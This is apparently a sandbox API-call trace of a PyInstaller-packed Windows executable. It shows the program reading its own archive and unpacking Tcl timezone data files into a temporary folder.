SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.177] CloseHandle (hObject=0x10c) returned 1 [0039.177] GetLastError () returned 0x0 [0039.177] SetLastError (dwErrCode=0x0) [0039.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.177] GetFileType (hFile=0x10c) returned 0x1 [0039.177] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.177] CloseHandle (hObject=0x10c) returned 1 [0039.177] GetLastError () returned 0x0 [0039.177] SetLastError (dwErrCode=0x0) [0039.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Manaus") returned 71 [0039.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Manaus" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\manaus"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.177] GetLastError () returned 0x2 [0039.177] SetLastError (dwErrCode=0x2) [0039.178] GetLastError () returned 0x2 [0039.178] SetLastError (dwErrCode=0x2) [0039.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Manaus", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Manaus", lpFilePart=0x0) returned 0x46 [0039.178] GetLastError () returned 0x2 [0039.178] SetLastError (dwErrCode=0x2) [0039.178] GetLastError () returned 0x2 [0039.178] SetLastError (dwErrCode=0x2) [0039.178] GetLastError () returned 0x2 [0039.178] SetLastError (dwErrCode=0x2) [0039.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Manaus") returned 71 [0039.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Manaus" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\manaus"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.178] GetFileType (hFile=0x10c) returned 0x1 [0039.178] htonl (hostlong=0x76040000) returned 0x476 [0039.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.178] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x476, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x476, lpOverlapped=0x0) returned 1 [0039.179] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.179] CloseHandle (hObject=0x10c) returned 1 [0039.180] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550758 | out: hHeap=0x530000) returned 1 [0039.180] htonl (hostlong=0x30000000) returned 0x30 [0039.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.180] GetFileType (hFile=0x10c) returned 0x1 [0039.180] htonl (hostlong=0xe98a5900) returned 0x598ae9 [0039.180] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e3ae9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.180] htonl (hostlong=0x8d000000) returned 0x8d [0039.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0039.180] htonl (hostlong=0x8d000000) returned 0x8d [0039.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.180] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.180] htonl (hostlong=0xc1000000) returned 0xc1 [0039.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc1) returned 0x550600 [0039.180] htonl (hostlong=0x8d000000) returned 0x8d [0039.180] htonl (hostlong=0xc1000000) returned 0xc1 [0039.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.180] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.181] CloseHandle (hObject=0x10c) returned 1 [0039.181] GetLastError () returned 0x0 [0039.181] SetLastError (dwErrCode=0x0) [0039.181] GetLastError () returned 0x0 [0039.181] SetLastError (dwErrCode=0x0) [0039.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.181] GetFileType (hFile=0x10c) returned 0x1 [0039.181] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.181] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.181] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.181] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.181] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.181] CloseHandle (hObject=0x10c) returned 1 [0039.181] GetLastError () returned 0x0 [0039.181] SetLastError (dwErrCode=0x0) [0039.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.182] GetFileType (hFile=0x10c) returned 0x1 [0039.182] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.182] CloseHandle (hObject=0x10c) returned 1 [0039.182] GetLastError () returned 0x0 [0039.182] SetLastError (dwErrCode=0x0) [0039.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.182] GetFileType (hFile=0x10c) returned 0x1 [0039.182] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.183] CloseHandle (hObject=0x10c) returned 1 [0039.183] GetLastError () returned 0x0 [0039.183] SetLastError (dwErrCode=0x0) [0039.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Marigot") returned 72 [0039.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Marigot" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\marigot"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.183] GetLastError () returned 0x2 [0039.183] SetLastError (dwErrCode=0x2) [0039.183] GetLastError () returned 0x2 [0039.183] SetLastError (dwErrCode=0x2) [0039.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Marigot", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Marigot", lpFilePart=0x0) returned 0x47 [0039.183] GetLastError () returned 0x2 [0039.183] SetLastError (dwErrCode=0x2) [0039.183] GetLastError () returned 0x2 [0039.183] SetLastError (dwErrCode=0x2) [0039.183] GetLastError () returned 0x2 [0039.183] SetLastError (dwErrCode=0x2) [0039.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Marigot") returned 72 [0039.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Marigot" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\marigot"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.184] GetFileType (hFile=0x10c) returned 0x1 [0039.184] htonl (hostlong=0xc1000000) returned 0xc1 [0039.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.184] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc1, lpOverlapped=0x0) returned 1 [0039.185] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.185] CloseHandle (hObject=0x10c) returned 1 [0039.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.186] htonl (hostlong=0x30000000) returned 0x30 [0039.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.186] GetFileType (hFile=0x10c) returned 0x1 [0039.186] htonl (hostlong=0x768b5900) returned 0x598b76 [0039.186] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e3b76, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.186] htonl (hostlong=0xb0000000) returned 0xb0 [0039.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x55cfe0 [0039.186] htonl (hostlong=0xb0000000) returned 0xb0 [0039.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.186] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.186] htonl (hostlong=0xf2000000) returned 0xf2 [0039.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf2) returned 0x550600 [0039.186] htonl (hostlong=0xb0000000) returned 0xb0 [0039.186] htonl (hostlong=0xf2000000) returned 0xf2 [0039.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.186] CloseHandle (hObject=0x10c) returned 1 [0039.187] GetLastError () returned 0x0 [0039.187] SetLastError (dwErrCode=0x0) [0039.187] GetLastError () returned 0x0 [0039.187] SetLastError (dwErrCode=0x0) [0039.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.187] GetFileType (hFile=0x10c) returned 0x1 [0039.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.187] CloseHandle (hObject=0x10c) returned 1 [0039.187] GetLastError () returned 0x0 [0039.187] SetLastError (dwErrCode=0x0) [0039.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.187] GetFileType (hFile=0x10c) returned 0x1 [0039.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.188] CloseHandle (hObject=0x10c) returned 1 [0039.188] GetLastError () returned 0x0 [0039.188] SetLastError (dwErrCode=0x0) [0039.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.188] GetFileType (hFile=0x10c) returned 0x1 